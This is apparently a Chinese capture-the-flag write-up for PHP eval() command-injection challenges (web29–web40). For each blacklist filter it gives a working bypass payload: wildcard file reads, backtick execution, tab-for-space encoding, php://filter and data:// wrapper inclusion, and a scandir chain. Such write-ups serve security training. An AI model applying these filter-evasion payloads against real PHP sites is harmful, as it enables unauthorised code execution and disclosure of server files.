1.web29
只有当c
参数的值不包含“flag”(区分大小写),才会执行这段代码
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
只要payload中没有flag即可
先尝试cat (右键源代码) tail,tac皆可
system("tail fla*");
tac 逆序读
tail 默认读后10行
使用文件显示函数
cp函数 等等。。
2.web30
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
不能出现 flag,system,php
echo`cat fl*g.p*hp`; 代替 system 右键源代码查看
highlight_file(base64_decode("ZmxhZy5waHA="));
3.web31
绕过
"flag"、"system"、"php"、"cat"、"sort"、"shell"、点号(".")、空格(" ")和单引号("'")
highlight_file(base64_decode("ZmxhZy5waHA="));
echo`tac%09fl*`; %09代替空格
第二种
使用 eval.让 1逃逸
4.web32
/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(
比上一题多了 echo ( ; 不能使用命令注入了,尝试其他方法。
c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
5.web33
比上一题多了一个双引号
payload
c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
c=rerquirexx
6.web34
和上一题一样。
7.web35
payload同上
c=include$_GET[1]%0a?>&1=php://filter/convert.base64-encode/resource=flag.php
8.web36
比上一关多了对数字的限制
9.web37
有include先尝试一下
然后用data执行代码
10.web38
过滤了等于号
可以将 <?php system('ls')> >> <?= system("ls")>
c=data://text/plain/,<?=system('tac fl*.*')?>
11.web39
payload 同上
c=data://text/plain/,<?=system('tac fl*.*')?>
12.web40
官方解法
show_source(next(array_reverse(scandir(pos(localeconv())))));